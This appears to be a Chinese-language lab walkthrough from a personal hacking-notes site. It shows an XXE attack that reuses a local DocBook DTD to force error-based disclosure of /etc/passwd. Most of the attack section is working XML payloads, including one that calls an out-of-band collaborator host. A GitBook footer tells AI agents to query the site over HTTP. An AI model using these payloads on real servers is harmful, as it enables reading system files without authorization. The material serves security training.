> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-reusing-local-dtd-to-extract-data.md).

# 重用本地 DTD 提取数据的 XXE

### 利用本地 DTD 的重用来窃取数据的 XXE 攻击

在“检查库存”功能上利用 XXE 漏洞：服务器会扫描 XML，但不会直接显示结果。方法是引用服务器上存在的本地 DTD，并重新定义一个实体，以触发一个包含……的错误 `/etc/passwd` 内容的 HTTP 查询。

使用 GNOME 环境的系统通常会在以下位置有一个本地 DTD `/usr/share/yelp/dtd/docbookx.dtd` 其中定义了一个名为 `ISOamso`的实体。使用这个已存在的 DTD 注入恶意参数实体

强制 XML 解析器生成一个会泄露 `/etc/passwd` 内容的错误，通过重新定义本地 DTD 实体。

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://w52exyblnbndiw6sm90k2j5ez55wtmhb.oastify.com"> %myFile;]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/c709cfeeae9387240f7451793bd15d11d0a4497e" alt=""><figcaption></figcaption></figure>

上一次尝试会产生服务器端错误。

<figure><img src="/files/61ce027c6a35d7b7081544bf16b019dc00a669eb" alt=""><figcaption></figcaption></figure>

声明本地 DTD，并将 `ISOamso` 实体重新定义为注入参数实体，以读取 `/etc/passwd` ，然后通过一个不存在的实体强制进行外带，从而触发一个包含所读取内容的错误。

{% code overflow="wrap" fullWidth="true" %}

```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
```

{% endcode %}

当本地 DTD 被包含并且 `ISOamso` 实体按上述方式重新定义后，解析器会尝试解析指向一个不存在路径的 `exfil` 实体（`file:///noexist/...`）。这种解析会导致解析器出错，而在其跟踪信息中，会包含展开的结果——也就是 `/etc/passwd` 会出现在服务器返回的错误消息中。

```xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:////usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; exfil SYSTEM &#x27;file:///noexist/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;exfil;
'>
%local_dtd;
]>
<stockCheck>
<productId>
1
</productId>
<storeId>
1
</storeId>
</stockCheck>
```

<figure><img src="/files/42b7bf0341a8feddc795162bff2a89e9134252e3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-reusing-local-dtd-to-extract-data.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.